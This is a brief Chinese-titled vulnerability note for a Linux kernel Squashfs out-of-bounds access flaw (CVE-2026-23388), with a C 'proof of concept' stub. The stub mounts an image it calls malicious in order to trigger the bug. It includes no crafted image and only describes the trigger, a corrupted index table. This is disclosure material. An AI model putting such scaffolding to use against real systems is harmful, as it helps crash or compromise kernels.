CVE-2026-23388 Linux Kernel Squashfs越界访问漏洞

/* * PoC Concept for CVE-2026-23388 * This code demonstrates the concept of mounting a crafted filesystem. * Actual exploitation requires a specific malformed Squashfs image. */ #include <stdio.h> #include <stdlib.h> #include <sys/mount.h> #include <sys/stat.h> #include <unistd.h> int main() { // In a real scenario, 'malicious.img' would be a Squashfs image // with a corrupted index table causing negative offsets. const char *source = "malicious_cve_2026_23388.img"; const char *target = "/mnt/squashfs_test"; // Create mount point mkdir(target, 0777); printf("[+] Attempting to mount malicious image to trigger OOB access...\n"); // The vulnerability is triggered during the mount syscall processing // inside the kernel when it parses the metadata. if (mount(source, target, "squashfs", MS_RDONLY, NULL) == 0) { printf("[!] Mount successful. Vulnerability may have been triggered in kernel.\n"); umount(target); } else { perror("[-] Mount failed"); } rmdir(target); return 0; }